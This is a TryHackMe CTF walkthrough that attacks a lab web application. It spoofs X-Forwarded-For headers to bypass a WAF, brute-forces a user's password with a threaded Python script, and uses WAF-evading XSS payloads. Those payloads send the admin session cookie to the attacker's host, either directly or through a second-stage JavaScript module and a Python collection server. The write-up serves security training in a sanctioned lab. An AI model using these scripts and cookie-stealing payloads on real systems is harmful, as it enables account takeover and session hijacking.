Farewell - TryHackMe - Walkthrough
Brute force credentials for a user and exploit a hidden XSS vulnerability to get admin.
Introduction
In this write-up I will go through the CTF challenge Farewell on TryHackMe. The challenge, which is rated medium, can be found here and begins with a short introduction:
The farewell server will be decommissioned in less than 24 hours. Everyone is asked to leave one last message, but the admin panel holds all submissions. Can you sneak into the admin area and read every farewell message before the lights go out?
Initial Recon
As stated in the description of the challenge the goal is to breach the web application and gain admin privileges. The first look at the web page shows a simple login page. Above the login we can see a running banner which shows 3 users which have posted the most recent messages.
This recent activity banner reveals 3 users, who are active on the platform:
adamdeliver11nora
To verify the existence of the usernames, we can check if the usernames work for the login page. For that you can compare a non-existing user with a valid user from leaked usernames. Fortunately, the web application responds with a different error if a valid user is provided.
To gain a clearer understanding of the application’s structure, you can run a gobuster scan to enumerate directories and application files.
1
2
3
4
5
6
7
8
9
10
11
$ gobuster dir -u http://10.10.109.181/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
/.php (Status: 403) [Size: 780]
/index.php (Status: 200) [Size: 5246]
/info.php (Status: 200) [Size: 87586]
/admin.php (Status: 403) [Size: 780]
/status.php (Status: 200) [Size: 3467]
/javascript (Status: 301) [Size: 319] [--> http://10.10.109.181/javascript/]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/auth.php (Status: 403) [Size: 780]
/dashboard.php (Status: 302) [Size: 0] [--> /]
The file info.php looks particularly interesting, additionally it has a huge size.
The PHP file simply executes the phpinfo() function and shows a massive amount of debugging information. This site can be used for XSS if the cookie is HttpOnly.
Normal User Flag
While checking the raw login request you can find useful data in the HTTP response of the server which is not visible on the web page: The response contains a password hint for the user and the last login time.
1
2
3
4
5
6
7
8
{
"error": "auth_failed",
"user": {
"name": "adam",
"last_password_change": "2025-10-21 09:12:00",
"password_hint": "favorite pet + 2"
}
}
The password hint of the user adam reveals some parts of the password, but there are other users with passwords which may be easier to guess/brute force.
You can extract the following password hints by simply using the found usernames from the login page, additionally you may try the usual admin which will also result in another password hint for this user.
| User Name | Password Hint |
|---|---|
| adam | favorite pet + 2 |
| admin | the year plus a kind send-off |
| deliver11 | Capital of Japan followed by 4 digits |
| nora | lucky number 789 |
WAF
For the users nora and admin you can try the passwords 789, 2025Farewell and some variations. While trying these passwords you may hit the WAF (Web Application Firewall).
After several invalid password attempts the Firewall blocks you from sending more login requests. Fortunately the firewall can be bypassed by simply adding a X-Forwarded-For header, this way the web application interprets the request as coming from another IP address through a proxy server.
After bypassing the WAF, I decided to brute force the password for the user deliver11. This user’s password structure is easy to brute force with a simple script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
url = "http://10.10.109.181/auth.php"
username = "deliver11"
# Based on hint: "Capital of Japan followed by 4 digits"
# Capital of Japan is Tokyo
base_password = "Tokyo"
def random_ip():
"""Generate a random IP address"""
return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 255)}"
def try_password(i):
"""Try a single password"""
password = f"{base_password}{i:04d}"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",
"X-Forwarded-For": random_ip()
}
data = {
"username": username,
"password": password
}
try:
response = requests.post(url, data=data, headers=headers, timeout=5)
if response.status_code == 200:
json_response = response.json()
if "error" not in json_response or json_response.get("error") != "auth_failed":
return (True, password, response.text)
if i % 100 == 0:
print(f"[*] Trying: {password}")
except Exception as e:
pass
return (False, password, None)
print("[*] Starting brute force with 20 threads...")
with ThreadPoolExecutor(max_workers=20) as executor:
futures = [executor.submit(try_password, i) for i in range(10000)]
for future in as_completed(futures):
success, password, response = future.result()
if success:
print(f"\n[+] SUCCESS! Password found: {password}")
print(f"[+] Response: {response}")
for f in futures:
f.cancel()
break
print("[*] Brute force complete")
The script uses:
- threading to improve performance
- my browsers User-Agent, because otherwise the WAF will block the request
- a random IP in the
X-Forwarded-Forheader
After running the script the password is found fast.
1
2
3
4
5
6
7
8
9
$ python3 brute.py
[*] Starting brute force with 20 threads...
[*] Trying: Tokyo0000
[*] Trying: Tokyo0100
....
[+] SUCCESS! Password found: REDACTED
[+] Response: {"success":true,"redirect":"\/dashboard.php"}
[*] Brute force complete
With the credentials the web page shows the user flag.
Admin User Flag
The newly accessible dashboard provides a simple messaging interface. Below the input, the last send messages for the user are shown. Messaging interfaces are a nice place to test for XSS, you can use a simple img tag for the payload (<img src="http://10.14.78.229:9001/is_there_a_xss" />, replace your IP!). Although the HTML is not rendered in the browser, the listener receives a request coming from the challenge box. This hints that there is another dashboard for admin, probably admin.php, which shows the messages and is not hardened against XSS.
To escalate the XSS vuln, we can add the onerror attribute to the img element, however this request was flagged by the WAF and the response returned the same page as above. After some modifications of the initial payload you can find a workable payload. Below my process of testing is shown.
1
2
3
4
<img src=1 onerror="" /> # doesn't work
<img src=1 OnErRoR="" /> # works
<img src=1 OnErRoR="fetch('http://10.14.78.229:9001/is_there_a_xss')" /> # doesn't work
<img src=1 OnErRoR="eval(atob('ZmV0Y2goJ2h0dHA6Ly8xMC4xNC43OC4yMjk6OTAwMi94c3MnKQ=='))" /> # works and triggers listener
So it is possible to execute any payload by base64 encoding it and using eval(atob()) to convert the payload back to executable code. While testing this further for another kind of payload I triggered this error: Maximum 100 characters allowed..
The length of <img src=1 OnErRoR="eval(atob(' and '))" /> is 39 characters, so you can encode only 45 characters to base64.
If you check the cookie you will see that it has not set the HttpOnly flag. So you can simply use document.cookie to extract the session cookie of the admin user.
1
fetch('//10.14.78.229:9001/'+document.cookie)
Next you can base64 encode the payload and paste it in the atob() function:
1
<img src=1 OnErRoR="eval(atob('ZmV0Y2goJy8vMTAuMTQuNzguMjI5OjkwMDEvJytkb2N1bWVudC5jb29raWUp'))" />
After sending the payload and setting up a netcat listener you will receive the cookie shortly.
1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.231.52 39782
GET /PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: 10.14.78.229:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
Accept-Language: en-US,en;q=0.9
Accept: */*
Origin: http://localhost
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Secondary Approach
My initial approach to solve this challenge was a bit different. I used the previously discovered
info.phpto return the flag. This is not needed because the PHP cookie is notHttpOnly, but I think it shows nicely how it could be done if the cookie flag was set.Fortunately the server doesn’t contain any restrictions for loading external JS files from our server. I first created a Python server which hosts a JS file which is then loaded in the web application.
Initial XSS Payload
For the initial payload, I used a tested
imgtag that triggers JavaScript execution through theonerrorattribute:
1 <img src=1 OnErRoR="eval(atob('aW1wb3J0KCcvLzEwLjE0Ljc4LjIyOS9kLmpzJykudGhlbihtPT5tLmQoKSk='))"/>The Base64-encoded string decodes to the following JavaScript snippet:
1 import('//10.14.78.229/d.js').then(m=>m.d())This code dynamically imports the
d.jsfile from my server and then executes its exportedd()function.Second Stage XSS Payload
The
d.jsfile contains thed()function. This function will fetch the previously discoveredinfo.phpand filters it for thePHPSESSID, the cookie of the admin. The cookie is then send to my server.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 export function d() { fetch('/info.php') .then(r => r.text()) .then(d => { const lines = d.split('\n'); const found = lines.find(item => item.includes('PHPSESSID')); const regex = /PHPSESSID=([a-z0-9]+)/; const sessionId = "PHPSESSID=" + found.match(regex)[1]; fetch('http://10.14.78.229/session', { method: 'POST', body: sessionId }) }).catch(e => { fetch('http://10.14.78.229/err?e=' + e) }) }Sever Side Code
The server hosts the JS file and handles POST requests to receive the session cookie.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from http.server import SimpleHTTPRequestHandler, HTTPServer class CORSRequestHandler(SimpleHTTPRequestHandler): def end_headers(self): if self.path.endswith('.js'): self.send_header('Content-Type', 'application/javascript') super().end_headers() def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) if self.path == "/session": print("Extracted session value: ",end="") print(post_data.decode(),end="") print(" go to /admin.php to get the flag!") self.send_response(200) self.end_headers() self.wfile.write(b'OK') if __name__ == '__main__': HTTPServer(('0.0.0.0', 80), CORSRequestHandler).serve_forever()The process of the exploit is shown here:
After a few seconds there should be a hit from the victim.
1 2 $ sudo python3 server.py Extracted session value: PHPSESSID=XXXXXXXXXXXXXXXXXX go to /admin.php to get the flag!
The cookie can now be placed in the browser. If you access the dashboard.php, you will not see the flag, for that go to the /admin.php page. On this page you additionally see all the XSS payloads which are rendered on this page.









